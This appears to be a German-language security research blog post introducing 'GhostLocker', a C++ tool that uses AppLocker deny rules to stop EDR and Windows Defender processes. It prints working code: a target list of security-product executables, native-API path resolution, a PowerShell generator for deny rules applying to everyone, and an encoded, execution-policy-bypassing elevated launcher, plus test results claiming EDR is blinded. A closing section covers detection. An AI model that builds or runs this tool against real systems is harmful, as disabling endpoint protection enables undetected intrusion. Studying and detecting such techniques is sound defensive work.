
AppLocker-basierte EDR-Neutralisierung
Nach meinem Artikel über Fairy-Law, in dem ich Kernel-Mitigationen einsetzte, um Endpoint Detection & Response (EDR)-Lösungen zu deaktivieren, wies diversenok darauf hin, dass IFEO-Ausschlüsse (Image File Execution Options) für Drittanbieteranwendungen zu invasiv seien. Dies führte zu einem besseren Ansatz: der Nutzung der inhärenten Rechte, die Administratoren bereits durch AppLocker besitzen.
Das Konzept wurde von diversenok inspiriert, der hervorhob, dass Administratoren legitimerweise jede Software auf ihren Systemen kontrollieren können. Aus dieser Erkenntnis entwickelte ich eine Technik, die AppLocker als nativen Windows-Kontrollmechanismus einsetzt. Diese Forschung untersucht die technische Implementierung von AppLocker zur EDR-Kontrolle, vergleicht sie mit WDAC und stellt ein praktisches Proof-of-Concept-Tool vor.
AppLocker wurde mit Windows 7 eingeführt und in Windows 8.1, 10 (Enterprise) sowie Windows Server 2012/R2/2016+ erweitert. Es handelt sich um ein Anwendungs-Whitelisting-Framework, das es Administratoren ermöglicht, präzise festzulegen, welche ausführbaren Dateien, Skripte oder Installationsprogramme für bestimmte Benutzer oder Gruppen ausgeführt werden dürfen.
AppIDSvc (Application Identity Service)
LocalServiceAppID.sys (Kernel-Treiber)
SeSrpAccessCheck durchKlarstellung:
WährendAppID.sysdie Regelauswertung im Kernel-Modus durchführt, ist die DLL-Durchsetzung nicht autonom.
Der Kernel-Treiber überwacht DLL-Ladevorgänge nicht aktiv selbst. Stattdessen müssen User-Mode-Komponenten den Treiber explizit per IOCTL abfragen, um festzustellen, ob ein DLL-Ladevorgang erlaubt ist.
Infolgedessen fungieren AppLocker-DLL-Regeln effektiv als clientseitiger Schutzmechanismus.
AppLocker unterstützt zwei primäre Regelkategorien:
Allow-Regeln (Zulassen): Erlauben explizit die Ausführung definierter Anwendungen
Deny-Regeln (Verweigern): Blockieren explizit die Ausführung definierter Anwendungen
C:\Program Files\Security\*.exeHKLM\Software\Policies\Microsoft\Windows\SrpV2 (XML-Richtlinienspeicher, persistent)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe (SDDL-Binärformat, aktive Durchsetzung)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (Zertifikatscache)
Standardmäßig setzt AppLocker Regeln nicht bei Diensten oder SYSTEM-Prozessen durch.
Es gibt keine grafische Benutzeroberflächenoption, um dieses Verhalten zu aktivieren.
Die Durchsetzung für Dienste kann nur über die XML-Richtlinie mit RuleCollectionExtensions aktiviert werden.
Der folgende Richtlinienabschnitt ist erforderlich, um AppLocker-Regeln für Dienste durchzusetzen:
<RuleCollectionExtensions>
<ThresholdExtensions>
<Services EnforcementMode="Enabled"/>
</ThresholdExtensions>
<RedstoneExtensions>
<SystemApps Allow="Enabled"/>
</RedstoneExtensions>
</RuleCollectionExtensions>
Wie die Namen der Erweiterungen andeuten, werden diese Optionen nur unter Windows 10+ unterstützt und sind in früheren Versionen nicht verfügbar. Siehe Microsoft – AppLocker-Regelsammlungserweiterungen
AppID.sys wertet die Anwendungsattribute ausSTATUS_ACCESS_DISABLED_BY_POLICY_OTHER abgebrochen⚠️ AppLocker beendet keine laufenden Prozesse.
Die Durchsetzung von AppLocker gilt nur für neue Prozesserstellungsereignisse. Bereits laufende EDR-Prozesse werden bis zum Neustart des Systems weiter ausgeführt. Dies ist eine grundlegende architektonische Einschränkung.
Hinweis zur Telemetrie des Kernel-Treibers:
Selbst nach der Blockierung von EDR-Userland-Executables bleiben Kernel-Treiber (*.sys) aktiv und funktionsfähig. Diese Treiber:
Umfangreiche Tests zeigen jedoch, dass diese Telemetrie funktional wirkungslos wird. Ohne Userland-Analyse-Engines, Korrelationssysteme und Meldemechanismen können die rohen Telemetriedaten nicht zu verwertbaren Erkennungen verarbeitet werden. EDR-Lösungen sind stark von Userland-Komponenten abhängig für:
GhostLocker ist eine C++-Implementierung, die die Bereitstellung von AppLocker-Richtlinien automatisiert, um EDR-Executables zu blockieren.
GhostLocker bietet zwei Implementierungsvarianten:
main.cpp – Dynamische AufzählungsversionDiese Version zählt laufende Prozesse auf und ermittelt ihre vollständigen Image-Pfade mithilfe nativer APIs (NtQuerySystemInformation).
Die aufgelösten absoluten Pfade werden dann verwendet, um präzise AppLocker-Deny-Regeln zu generieren.
Das Tool verwendet CreateToolhelp32Snapshot mit TH32CS_SNAPPROCESS, um alle laufenden Prozesse aufzuzählen. Es vergleicht Prozessnamen mithilfe von case-insensitive Matching (_wcsicmp) mit einer vordefinierten Zielliste.
Warum dieser Ansatz?
FindTargetsAndQueryPaths)const wchar_t* targetNames[] = {
L"MpDefenderCoreService.exe",
L"MsMpEng.exe",
L"WinDefend.exe",
L"EDR_Component_Name.exe",
};
SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;
status = NtQuerySystemInformation(
SystemProcessIdInformation,
&spi,
sizeof(spi),
0
);
Technische Details:
SystemProcessIdInformation (0x58)\Device\HarddiskVolume3\Windows\System32\...Pfadkonvertierungslogik:
std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
if (ntPath.rfind(prefix, 0) == 0)
{
std::wstring rest = ntPath.substr(prefix.length());
return L"C:\\" + rest;
}
return ntPath;
}
Einschränkung: Feste Annahme von HarddiskVolume3. Sollte verbessert werden, um die Volumennummern dynamisch aufzulösen.
Das Tool enthält ein vollständiges PowerShell-Skript, das:
a) Zielpfade validiert
foreach ($exe in $ExeToBlock) {
if (!(Test-Path $exe)) {
Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
exit 1
}
}
b) Dynamische Deny-Regeln generiert
foreach ($exe in $ExeToBlock) {
$id = [guid]::NewGuid().ToString()
$name = Split-Path $exe -Leaf
$dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name +
'" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
$dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
$dynamicBlockRules += '</FilePathRule>'
}
Wichtige Richtlinienelemente:
UserOrGroupSid="S-1-1-0": Gilt für Jeder (alle Benutzer)Action="Deny": Explizite BlockierregelEnforcementMode="Enabled": Aktive Durchsetzung für EXE-Regelnc) Anwendung der Richtlinie
Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null
void RunPowerShellInMemory()
{
std::wstring script = BuildFullPowerShellScript();
const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
size_t byteLen = script.size() * sizeof(wchar_t);
std::wstring encoded = Base64Encode(bytes, byteLen);
std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
params += encoded;
ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}
Technische Begründung:
-EncodedCommand erwartet UTF-16LE-ExecutionPolicy Bypass: Ignoriert die Skriptausführungsrichtlinierunas-Verb: Löst die UAC-Erhöhung für Administratorrechte ausmain_improved.cpp – Statische Wildcard-basierte VersionNach der Klarstellung durch diversenok wurde deutlich, dass AppLocker-Pfadregeln Wildcard-Matching unterstützen und keine vollständigen ausführbaren Pfade erfordern.
Diese verbesserte Version entfernt die gesamte Prozessaufzählung und native Pfadauflösungslogik und verlässt sich stattdessen auf statische Wildcard-Regeln wie: *\MsMpEng.exe
⚠️ Voraussetzungen für eine erfolgreiche Bereitstellung:
sc start AppIDSvcEs wurden umfangreiche kontrollierte Tests mit mehreren kommerziellen EDR-Lösungen durchgeführt, um die Wirksamkeit zu bewerten.
Testumgebung:
Versagen der Verhaltensanalyse:
Perspektive der Verwaltungskonsole:
Obwohl die Kernel-Treiber weiterhin liefen und Telemetriedatenströme sammelten, machte das Fehlen von Userland-Verarbeitungskomponenten die gesammelten Daten wirkungslos.
Was weiterhin funktioniert:
Kritische Erkenntnis:
Die moderne EDR-Architektur stützt sich auf eine enge Kopplung zwischen Kernel-Treibern und Userland-Analyse-Engines. Das Aufbrechen dieser Kopplung blendet die EDR-Lösung trotz fortgesetzter Telemetrieerfassung effektiv aus.
Screenshot (Aufzählen und Anwenden der AppLocker-Richtlinie):

Screenshot (Deaktiviertes WinDefend):
Screenshot von Version 2

Windows Defender Application Control (WDAC) wurde in Windows 10 eingeführt und stellt Microsofts modernes Anwendungssteuerungs-Framework dar.
Es setzt Richtlinien sowohl für User-Mode- als auch für Kernel-Mode-Binaries durch.
Kerneigenschaften:
WDAC-Richtlinienspeicher:
C:\Windows\System32\CodeIntegrity\SIPolicy.p7b (Aktive Richtlinie, signiert)
C:\Windows\System32\CodeIntegrity\CIPolicies\ (Mehrere Richtlinien)
EFI-Systempartition (UEFI-Durchsetzung)
Krueger demonstrierte den WDAC-Missbrauch zur Blockierung von EDR-Treibern:
Hauptunterschied:
Wann AppLocker verwenden (GhostLocker):
Wann WDAC verwenden (Krueger-Stil):
Windows stellt die API Get-AppLockerFileInformation bereit, mit der getestet werden kann, ob eine bestimmte ausführbare Datei unter der aktuellen AppLocker-Richtlinie blockiert würde.
Eine EDR-Lösung kann diesen Mechanismus nutzen, um proaktiv zu prüfen, ob ihre eigenen Binaries oder Dienste nach einer Richtlinienänderung an der Ausführung gehindert würden.
Wenn eine Kernkomponente von "erlaubt" auf "verweigert" wechselt, sollte dies als Manipulationsbedingung mit hoher Konfidenz behandelt werden.
AppLocker-Richtlinienaktualisierungen werden über explizite IOCTL-Aufrufe aus dem User-Mode an AppID.sys kommuniziert.
Dies bietet einen klaren Signalspfad, der anzeigt, dass sich der Durchsetzungsstatus geändert hat.
Kernel-Treiber können diese Benachrichtigungen beobachten und mit anschließenden Ausführungsfehlern geschützter Dienste korrelieren, wodurch eine genaue Erkennung richtlinienbasierter Neutralisierung ermöglicht wird.
AppLocker-Richtlinien bleiben über Neustarts hinweg an genau definierten Registrierungsspeicherorten bestehen.
EDR-Lösungen können den relevanten Richtlinienzustand vor dem Neustart als Snapshot erfassen und nach dem Systemstart die Konsistenz der Durchsetzung überprüfen.
Eine Diskrepanz zwischen dem erwarteten Ausführungszustand und der Durchsetzung nach dem Neustart deutet stark auf eine absichtliche Richtlinienmanipulation hin.
Windows enthält native Mechanismen zum Ausschließen von Prozessen von der SRP-/AppLocker-Durchsetzung.
Von Sicherheitsprodukten wird erwartet, dass sie sich in diese Mechanismen integrieren, um die betriebliche Kontinuität zu gewährleisten.
Die Nichtberücksichtigung dieser Ausschlüsse ist keine Einschränkung von AppLocker, sondern vielmehr ein architektonisches Versehen im geschützten Produkt.
Keine dieser Erkennungsstrategien erfordert die Umgehung von AppLocker oder die Verletzung von Windows-Sicherheitsgrenzen.
Sie stützen sich ausschließlich auf dokumentiertes Verhalten und Schnittstellen, die bereits vom Betriebssystem bereitgestellt werden.
GhostLocker demonstriert, dass AppLocker, ein legitimes Windows-Sicherheitsfeature, zur Neutralisierung von EDR-Lösungen durch Userland-Prozessblockierung bewaffnet werden kann.
Diese Forschung hebt grundlegende architektonische Schwachstellen aktueller EDR-Designs hervor, die die Erfassung von Kernel-Telemetrie eng mit Userland-Analyse-Engines koppeln.
Diese Forschung dient ausschließlich Bildungs- und Defensiv-Sicherheitszwecken.
Die beschriebenen Techniken sollten nur in autorisierten Testumgebungen mit ausdrücklicher Genehmigung verwendet werden.
Wenn Sie daran interessiert sind, zu GhostLocker beizutragen, insbesondere zur C#-Implementierung, sind Sie herzlich willkommen.
| Feature | AppLocker | WDAC |
|---|
| Durchsetzungsumfang | Nur User-Mode-Executables | User-Mode- + Kernel-Mode-Treiber |
| Zeitpunkt der Durchsetzung | Prozesserstellung | Boot + Laufzeit |
| Benutzergranularität | Pro Benutzer/Gruppe | Systemweit |
| Standardmodus | Allow-by-default | Deny-by-default |
| Regeltypen | Pfad, Hash, Herausgeber | Hash, Herausgeber, WHQLFile, Version |
| Blockiert Treiber | ❌ Nein | ✅ Ja |
| Richtlinienkomplexität | Mittel | Hoch |
| Überwachungsmodus | ✅ Ja | ✅ Ja |